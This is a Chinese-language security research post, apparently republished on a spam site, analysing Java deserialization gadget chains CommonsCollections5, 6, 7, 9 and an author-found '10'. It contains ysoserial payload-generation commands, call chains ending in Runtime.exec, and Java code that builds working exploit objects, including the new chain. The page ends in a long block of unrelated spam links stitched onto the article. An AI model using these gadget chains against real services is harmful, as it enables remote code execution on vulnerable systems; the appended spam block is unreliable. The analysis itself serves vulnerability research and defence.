1. 設為首頁   文化中國網歡迎您~!

          Java反序列化利用鏈分析之CommonsCollections5,6,7,9,10

          0x00 前言

          本文繼續分析CommonsCollections:3.1的相關反序列化利用鏈,這次主要分析CommonsCollections5,6,7,9,以及我找的一個新利用鏈,這里暫且將其稱為10.

          0x01 環境準備

          CommonsCollections5,6,7,10用的還是commons-collections:3.1,jdk用7或8都可以。
          CommonsCollections9適用于3.2.1

          java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "open /System/Applications/Calculator.app" > commonscollections5.ser
          java -jar ysoserial-master-30099844c6-1.jar CommonsCollections6 "open /System/Applications/Calculator.app" > commonscollections6.ser
          java -jar ysoserial-master-30099844c6-1.jar CommonsCollections7 "open /System/Applications/Calculator.app" > commonscollections7.ser

          0x02 利用鏈分析

          1. 背景回顧

          前面提到過CommonsCollections1和3在構造AnnotationInvocationHandler時用到了Override.class。但是如果你在jdk8的環境下去載入生成的payload,會發生java.lang.Override missing element entrySet的錯誤。

          這個錯誤的產生原因主要在于jdk8更新了AnnotationInvocationHandler參考

          jdk8不直接調用s.defaultReadObject來填充當前的AnnotaionInvocationHandler實例,而選擇了單獨填充新的變量。

          這里我們回顧一下,1和3的payload的觸發點是LazyMap.get函數,而觸發這個函數需要使得memberValues為LazyMap對象

          顯然,jdk8的操作使得memberValues并不是我們構造好的LazyMap類型。在調試中,可以看到此時的memberValues為LinkedHashMap對象,該對象無法獲得entrySet的內容,所以會報前面的這個錯誤。

          jdk8下CommonsCollections1和3無法成功利用了,但是如果我們可以找到一個替代AnnotationInvocationHandler的利用方式呢?這就是本文要講的CommonsCollections5,6,7所做出的改變。

          2. 重新構造前半部分利用鏈—CommonsCollections5

          CommonsCollections5與1的區別在于AnnotationInvocationHandler,后部分是相同的,所以這里不分析后部分。

          AnnotationInvocationHandler在前面起到的作用是來觸發LazyMap.get函數,所以我們接下來就是要重新找一個可以觸發該函數的對象。這個對象滿足

          • 類可序列化,類屬性有個可控的Map對象或Object
          • 該類的類函數上有調用這個Map.get的地方

          CommonsCollections5在這里用到了TiedMapEntry,來看一下

          TiedMapEntry有一個map類屬性,且在getValue處調用了map.get函數。同時toString、hashCode、equals均調用了getValue函數,這里關注toString函數。

          toString函數通常在與字符串拼接時,會被自動調用。那么接下來我們需要找一個對象滿足

          • 類可序列化,類屬性有個Map.Entry對象或Object
          • 該類會自動調用這個類屬性的toString函數或前面的另外幾種

          這里選擇了BadAttributeValueExpException對象,他的readObject函數會自動調用類屬性的toString函數。

          需要注意的是這里System.getSecurityManager為空,換句話說,就是當前的jvm環境不能啟用安全管理器。

          來看一下一整個調用鏈

          BadAttributeValueExpException.readObject()
          -> valObj.toString() => TiedMapEntry.getValue
          -> TiedMapEntry.map.get() => LazyMap.get()
          -> factory.transform() => ChainedTransformer.transform()
          -> 前文構造的Runtime.getRuntime().exec()

          3. 重新構造前半部分利用鏈—CommonsCollections6

          CommonsCollections6是另一種替換方式,后半部分的利用鏈還是沒有變,不作分析。

          我們在2中提到了除了CommonsCollections5用的toString外,還有hashCode和equals函數也調用了getValue函數。那么是否存在調用這兩個函數的對象函數呢?答案是肯定的!

          CommonsCollections6利用了TiedMapEntry的hashCode函數,來觸發LazyMap.get

          我們都知道HashSet集合里不會存在相同的key,那么是如何判斷是否是相同的key呢?這里就要用到key的hashCode函數了,如果key的值相同,其hashCode返回的值也是相同的。這里的HashCode的計算在HashSet的put和add函數完成,并且HashSet從序列化數據中還原出來時會自動調用put函數,這里就給我們提供了可控的地方。

          先來看一下HashSet的readObject函數

          繼續跟put函數,這里其實調用的是HashMap的put函數

          其中對key調用的hash()函數會調用key.hashCode函數,那么現在就很清楚了,我們只要將key的值替換成構造好的TiedMapEntry對象就可以了。注意,這里的key值其實就是HashSet.add的實例,在HashSet里的HashMap類屬性只用到了Key。

          整理一下利用鏈

          HashSet.readObject()
          -> HashMap.put(key) => key.hashCode => TiedMapEntry.hashCode
          -> TiedMapEntry.getValue
          -> TiedMapEntry.map.get() => LazyMap.get()
          -> factory.transform() => ChainedTransformer.transform()
          -> 前文構造的Runtime.getRuntime().exec()

          4. 重新構造前半部分利用鏈—CommonsCollections7

          CommonsCollections7用了Hashtable來代替AnnotationInvocationHandler,不同于前面兩種CommonsCollections7并未使用TiredMapEntry,而是用了相同key沖突的方式調用equals來觸發Lazy.get函數。

          先來看一下Hashtable的readObject函數

          繼續跟進reconstitutionPut

          該函數將填充table的內容,其中第1236行僅當有重復數據沖突時,才會進入下面的if語句,這里我們繼續跟進equals函數

          這里的equals函數取決于key的對象,利用鏈用的是LazyMap對象,實際調用的是父類AbstractMapDecorator的equals函數

          這里又調用了map的equals函數,這里實際調用的是HashMap的父類AbstractMap的equals函數

          在第495行調用了m.get函數,所以后面又是我們熟悉的LazyMap.get的套路了。

          整理一下利用鏈

          Hashtable.readObject()
          -> Hashtable.reconstitutionPut
          -> LazyMap.equals => AbstractMapDecorator.equals => AbstractMap.equals
          -> m.get() => LazyMap.get()
          -> factory.transform() => ChainedTransformer.transform()
          -> 前文構造的Runtime.getRuntime().exec()

          5. 利用鏈構造

          CommonsCollections6和7的exp構造比較復雜,這里單獨拿出來講一下。

          CommonsCollections6

          經過前面的分析,我們可以知道CommonsCollections6需要將構造好的TiedMapEntry實例添加到HashSet的值上。

          簡單的方法就是直接add

          TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
          HashSet map = new HashSet(1);
          map.add(entry);

          復雜一點,就是ysoserail里的實現方法,采用反射機制來完成

          其思路主要為:

          • 實例化一個HashSet實例
          • 通過反射機制獲取HashSet的map類屬性
          • 通過反射機制獲取HashMap(map類屬性)的table(Node<K,V>)類屬性
          • 通過反射機制獲取Node的key類屬性,并設置該key的值為構造好的TiedMapEntry實例

          具體代碼如下

          HashSet map = new HashSet(1);
          map.add("foo");
          Field f = null;
          try {
          f = HashSet.class.getDeclaredField("map");//獲取HashSet的map Field對象
          } catch (NoSuchFieldException e) {
          f = HashSet.class.getDeclaredField("backingMap");
          }
          Permit.setAccessible(f);// 設置map可被訪問修改
          HashMap innimpl = null;
          innimpl = (HashMap) f.get(map);// 獲取map實例的map類屬性

          Field f2 = null;
          try {
          f2 = HashMap.class.getDeclaredField("table");// 獲取HashMap的 table field
          } catch (NoSuchFieldException e) {
          f2 = HashMap.class.getDeclaredField("elementData");
          }
          Permit.setAccessible(f2);// 設置HashMap的field 可被訪問
          Object[] array = new Object[0];
          array = (Object[]) f2.get(innimpl);
          Object node = array[0];// 獲取Node<k,v>實例
          if(node == null){
          node = array[1];
          }

          Field keyField = null;
          try{
          keyField = node.getClass().getDeclaredField("key");// 獲取Node的key field
          }catch(Exception e){
          keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
          }
          Permit.setAccessible(keyField);// 設置該Field可被訪問修改
          keyField.set(node, entry);// 對node實例填充key的值為TiedMapEntry實例

          經過上面的操作,最終的HashSet實例被我們嵌入了構造好的TiedMapEntry實例。

          這里在調試的過程中,發現用ysoserail的Reflections來簡化exp,出來的結果有點不一樣,還沒有找到具體的原因。如果有師傅遇到過這種問題,歡迎一起討論討論!

          CommonsCollections7

          CommonsCollections利用的是key的hash沖突的方法來觸發equals函數,該函數會調用LazyMap.get函數

          那么構造exp的關鍵就是構造一個hash沖突的LazyMap了。

          這里大家可以跟一下String.hashCode函數,他的計算方法存在不同字符串相同hash的可能性,例如如下代碼

          CommonsCollections7用的就是這個bug來制造hash沖突。

          這里需要提一點的是觸發LazyMap.get函數

          要走到第151行紅框框上,首先需要滿足的是map里不存在當前這個key

          但是明顯在第一次不存在這個key后,會更新map的鍵值,這將導致下次同樣的key進來,就不會觸發后續的payload了。我們在寫exp的時候需要注意到這一點。

          來看一下ysoserial的CommonsCollections7是怎么編寫的!

          Map innerMap1 = new HashMap();
          Map innerMap2 = new HashMap();

          // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
          Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
          lazyMap1.put("yy", 1);

          Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
          lazyMap2.put("zZ", 1);

          // Use the colliding Maps as keys in Hashtable
          Hashtable hashtable = new Hashtable();
          hashtable.put(lazyMap1, 1);
          hashtable.put(lazyMap2, 2);

          Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
          // Needed to ensure hash collision after previous manipulations
          lazyMap2.remove("yy");

          其中第兩次的put會使得會使得LazyMap2中增加了yy這個鍵值,為了保證反序列化后仍然可以觸發后續的利用鏈,這里需要將lazyMap2的yy鍵值remove掉。

          6. 構造新CommonsCollections10

          經過對前面1,3,5,6,7的分析,我們其實可以發現很多payload都是“雜交”的成果。那么我們是否能根據前面的分析,構造出一個新的CommonsCollections的payload呢?答案當然是肯定的,接下來講一下我找到的一個新payload利用。

          這個payload為CommonsCollections6和7的結合,同CommonsCollections6類似,這里也用到了TiedMapEntry的hashCode函數

          我們在分析Hashtable的reconstitutionPut函數時,看下圖

          該函數在第1234行對key調用了一次hashCode函數,那么很明顯,如果key值被代替為構造好的TiedMapEntry實例,這里我們就能觸發LazyMap.get函數,后續的調用鏈就類似了。

          整理一下利用鏈

          Hashtable.readObject()
          -> Hashtable.reconstitutionPut
          -> key.hashCode() => TiedMapEntry.hashCode()
          -> TiedMapEntry.getValue
          -> TiedMapEntry.map.get() => LazyMap.get()
          -> factory.transform() => ChainedTransformer.transform()
          -> 前文構造的Runtime.getRuntime().exec()

          其實從利用鏈來看,與CommonsCollections6的區別在于前部的觸發使用了不同的對象。

          接下來,結合第5點的學習,我們來寫一下這個payload的利用鏈exp

          final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

          final Map innerMap = new HashMap();
          final Map innerMap2 = new HashMap();

          final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

          TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
          Hashtable hashtable = new Hashtable();
          hashtable.put("foo",1);
          // 獲取hashtable的table類屬性
          Field tableField = Hashtable.class.getDeclaredField("table");
          Permit.setAccessible(tableField);
          Object[] table = (Object[])tableField.get(hashtable);
          Object entry1 = table[0];
          if(entry1==null)
          entry1 = table[1];
          // 獲取Hashtable.Entry的key屬性
          Field keyField = entry1.getClass().getDeclaredField("key");
          Permit.setAccessible(keyField);
          // 將key屬性給替換成構造好的TiedMapEntry實例
          keyField.set(entry1, entry);
          // 填充真正的命令執行代碼
          Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
          return hashtable;

          7. 梅子酒師傅的CommonsCollections9

          找到上面CommonsCollections10時,在網上找了一下有沒有師傅已經挖到過了,一共找到下面幾位師傅

          • https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java
          • https://github.com/frohoff/ysoserial/pull/125/commits/4edf02ba7765488cac124c92e04c6aae40da3e5d
          • https://github.com/frohoff/ysoserial/pull/116

          一個一個來說

          1. 第一個Jayl1n師傅做的改變主要是最終的Runtime.getRuntime().exec改成了URLClassLoader.loadClass().newInstance的方式,前面用的還是CommonsCollections6,這里暫時不將其歸類為新的利用鏈。
          2. 第二個是梅子酒師傅提交的CommonsCollections9,主要利用的是CommonsCollections:3.2版本新增的DefaultedMap來代替LazyMap,因為這兩個Map有同樣的get函數可以被利用,這里不再具體分析。
          3. 第三個是navalorenzo師傅提交的CommonsCollections8,其利用鏈基于CommonsCollections:4.0版本,暫時不在本篇文章的分析范圍內,后面會好好分析一下。

          0x03 總結

          聯合前面兩篇文章CommonsCollections1、CommonsCollections3,在加上本文的CommonsCollections5,6,7,9,10。

          由于網上已經有類似的文章做了總結,這里就簡單做一下CommonsCollections<=3.2.1下的反序列化利用鏈的總結。

          • 起始點AnnotationInvocationHandler的readObjectBadAttributeValueExpException的readObjectHashSet的readObjectHashtable的readObject
          • 重要的承接點LazyMap的getDefaultedMap的getTiedMapEntry的getValueProxy的invoke
          • 終點ChainedTransformer的transformInvokerTransformer的transformConstantTransformer的transform

          各exp的jdk適用版本

          1. jdk7 => CommonsCollection1、3
          2. jdk7 & jdk8 => CommonsCollections5,6,7,9,10

          各exp的commons-collections適用版本

          1. commons-collections<=3.1 CommonsCollections1,3,5,6,7,10
          2. commons-collections<=3.2.1 CommonsCollections1,3,5,6,7,9,10

          最后的最后,commons-collections:3.x版本的反序列化利用鏈就分析到這里,其實我相信如果想繼續挖可代替的利用鏈還是會有的,就像本文挖到的CommonsCollections10,如果各位師傅有興趣可以繼續挖下去,也歡迎和各位師傅一起交流。

          后續還會把commons-collections:4版本的利用鏈做一個分析,歡迎一起交流:)

          commons-collections:3.2.2及以上版本的改變

          前面的分析并沒有提到3.2.2版本發生了啥事,導致了利用鏈的失效,這里簡單提一下

          3.2.2版本對InvokerTransformer增加了readObject函數,并且做了是否允許反序列化的檢查,在FunctorUtils.checkUnsafeSerialization函數內。

          這里UNSAFE_SERIALIZABLE_PROPERTY的值默認為false,如果需要為true,需要在運行時指定。

          所以在使用InvokerTransformer作為反序列化利用鏈的一部分時,會throw一個exception。除了InvokerTransformer類外,還有CloneTransformer, ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer,
          PrototypeCloneFactory, PrototypeSerializationFactory, WhileClosure。所以在3.2.2版本以上,基本上利用鏈都已經廢了。

          當然,這種方法治標不治本,如果可以在這些類以外,構造一個利用鏈同樣可以達到前面的效果。

          推薦閱讀:掌閱課外書
          好运来 www.antski.com:靖边县| www.suncity233.com:长葛市| www.cillianmurphy.net:阳原县| www.yh9983.com:新密市| www.52adi.com:缙云县| www.xemhwyn.com:罗田县| www.sxzyfsh.com:耿马| www.cellenergize.com:金溪县| www.askabin.net:永清县| www.bobbysidenberg.com:台安县| www.hanselapp.com:白银市| www.rdzfw.com:信宜市| www.assurancecarolefortin.com:稷山县| www.livinonthehedge.com:宝兴县| www.bogree.com:安西县| www.best-wpthemes.com:高邑县| www.cm966.com:凤城市| www.blissfuljapan.com:晋宁县| www.how2scuba.com:金昌市| www.xijiufuheban.com:深州市| www.royaltyaffairs.com:浦东新区| www.ck733.com:朔州市| www.thehappyendisnear.com:北海市| www.web24studios.com:咸丰县| www.fjzwx.cn:鞍山市| www.hangangcamp.com:卓资县| www.zjxklpme.com:昌黎县| www.jlsmasonry.com:洛南县| www.kalkschutz.org:永安市| www.dyhdfkhm.com:马龙县| www.3182114.com:通化市| www.avancemosconosur.org:九龙坡区| www.ranthemptc.com:萝北县| www.mocle360.com:富民县| www.coulsounds.com:班玛县| www.mhcoelho.com:曲阳县| www.720742.com:呼和浩特市| www.spielgeil.com:县级市| www.bzwanhe.com:黔南| www.aaagascalculator.com:五寨县| www.ottomantranslate.com:东乌珠穆沁旗| www.yalifirini.com:和林格尔县| www.revyveskin.org:泽州县| www.nation-wide-building.com:九台市| www.pobohn.com:安龙县| www.nt755.com:崇左市| www.pj43730.com:武邑县| www.592chao.com:和平县| www.bleedingblack.com:淄博市| www.open82.com:甘孜县| www.cherrystonesoftware.com:江口县| www.franczyzy.com:南城县| www.hg85345.com:玉屏| www.hg20704.com:浦东新区| www.aluminumcane.com:湄潭县| www.1140745.com:离岛区| www.gottumblr.com:慈溪市| www.mb775.com:桐庐县| www.dom19.com:鄂伦春自治旗| www.basicherbals.com:北海市| www.bigbanganimation.com:秦安县| www.du-pin.com:儋州市| www.ebikemoto.com:河池市| www.vspotring.com:洞口县| www.afewbestmen.com:浦城县| www.bunkiecityhall.com:牡丹江市| www.979903.com:昭觉县| www.689020.com:汤阴县| www.antho-paris.com:尚志市| www.tl0553.com:都江堰市| www.m5687.com:隆昌县| www.sxsz.org:武定县| www.ds1980.com:巴林右旗| www.g9568.com:新宁县| www.la-grange-fleurie.net:静乐县| www.ftechcomputers.com:孝昌县| www.774002.com:贡嘎县| www.trackallpackages.net:鹰潭市| www.easterlingtribe.com:开江县| www.ccjwl.com:龙胜| www.thedrugtest.net:扎兰屯市| www.felixcaneinc.com:沈阳市| www.pressplaycoach.com:北宁市| www.alao333.com:阜新|